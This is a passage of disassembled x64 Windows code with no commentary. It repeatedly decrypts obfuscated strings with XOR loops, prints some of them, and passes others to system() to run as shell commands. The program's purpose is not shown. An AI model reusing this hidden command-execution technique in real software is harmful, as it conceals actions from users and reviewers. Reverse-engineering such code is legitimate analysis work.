mov r15, qword [rbp + 0x1c0]
add r15, rcx
cmp rdi, r15
je 0x14002c94f
mov qword [rbp + 0x2c0], 0xa
nop
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002c920
cmp r13, 0xf
jbe 0x14002c986
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002c97e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d928]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d938]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d940]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d943], 0
je 0x14002cb40
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002cb05
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002ca00
cmp r8d, 0x1c
jge 0x14002cb40
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002cb10
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e8], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002cb60
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1d8]
call fcn.140022cf0
mov dword [rbp + 0x1f8], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x1d8]
mov r14, qword [rbp + 0x1d8]
mov r13, qword [rbp + 0x1f0]
cmp r13, 0xf
cmova rdi, r14
lea rcx, [rbp + 0x1d8]
cmova rcx, r14
mov r15, qword [rbp + 0x1e8]
add r15, rcx
cmp rdi, r15
je 0x14002cbff
mov qword [rbp + 0x2c0], 0xa
nop
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002cbd0
cmp r13, 0xf
jbe 0x14002cc36
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002cc2e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d948]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d958]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x14009d960]
mov word [rsp + 0x48], ax
movzx eax, byte [0x14009d962]
mov byte [rsp + 0x4a], al
mov r8d, ebx
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
jl 0x14002cdb5
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002ccb0
cmp r8d, 0x1b
jge 0x14002cdf0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x14002cdc0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d968]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d978]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d980]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d983], 0
je 0x14002cfb0
mov r8d, ebx
cmp edi, 2
jl 0x14002cf75
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002ce70
cmp r8d, 0x1c
jge 0x14002cfb0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002cf80
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x210], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002cfd0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x200]
call fcn.140022cf0
mov dword [rbp + 0x220], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x200]
mov r14, qword [rbp + 0x200]
mov r13, qword [rbp + 0x218]
cmp r13, 0xf
cmova rdi, r14
lea rcx, [rbp + 0x200]
cmova rcx, r14
mov r15, qword [rbp + 0x210]
add r15, rcx
cmp rdi, r15
je 0x14002d06f
mov qword [rbp + 0x2c0], 0xa
nop
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002d040
cmp r13, 0xf
jbe 0x14002d0a6
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002d09e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d988]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d998]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d9a0]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d9a3], 0
je 0x14002d260
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002d225
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002d120
cmp r8d, 0x1c
jge 0x14002d260
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002d230
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x238], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002d280
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x228]
call fcn.140022cf0
mov dword [rbp + 0x248], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x228]
mov r14, qword [rbp + 0x228]
mov r13, qword [rbp + 0x240]
cmp r13, 0xf
cmova rdi, r14
lea r15, [rbp + 0x228]
cmova r15, r14
add r15, qword [rbp + 0x238]
cmp rdi, r15
je 0x14002d31f
mov qword [rbp + 0x2c0], 0xa
nop dword [rax + rax]
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002d2f0
cmp r13, 0xf
jbe 0x14002d356
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002d34e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d9a8]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d9b8]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d9c0]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d9c3], 0
je 0x14002d510
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002d4d5
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002d3d0
cmp r8d, 0x1c
jge 0x14002d510
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002d4e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x260], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002d530
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x250]
call fcn.140022cf0
mov dword [rbp + 0x270], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x250]
mov r14, qword [rbp + 0x250]
mov r13, qword [rbp + 0x268]
cmp r13, 0xf
cmova rdi, r14
lea r15, [rbp + 0x250]
cmova r15, r14
add r15, qword [rbp + 0x260]
cmp rdi, r15
je 0x14002d5cf
mov qword [rbp + 0x2c0], 0xa
nop dword [rax + rax]
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002d5a0
cmp r13, 0xf
jbe 0x14002d609
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002d601
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002d601
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [str.AZQZ]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d9d8]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x14009d9e0]
mov word [rsp + 0x48], ax
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x14002d7c0
mov r8d, ebx
cmp r12d, 2
jl 0x14002d785
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002d680
cmp r8d, 0x1a
jge 0x14002d7c0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002d790
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d9e8]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d9f8]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009da00]
mov dword [rsp + 0x48], eax
cmp byte [0x14009da03], 0
je 0x14002d980
mov r8d, ebx
cmp r12d, 2
jl 0x14002d945
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002d840
cmp r8d, 0x1c
jge 0x14002d980
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002d950
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002d9a0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.140022cf0
mov dword [rbp - 0x60], 0xa
mov r15, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdi, qword [rbp - 0x80]
lea r14, [rbp - 0x80]
cmova r14, qword [rbp - 0x80]
add r14, qword [rbp - 0x70]
cmp rdi, r14
je 0x14002da20
mov qword [rbp + 0x2c0], 0xa
movzx edx, byte [rdi]
mov rcx, r15
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r14
jne 0x14002d9f1
lea rcx, [rbp - 0x80]
call fcn.14001ed50
movups xmm0, xmmword [0x14009da08]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009da18]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009da20]
mov dword [rsp + 0x48], eax
cmp byte [0x14009da23], 0
je 0x14002dbe0
mov r8d, ebx
cmp r12d, 2
jl 0x14002dba5
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
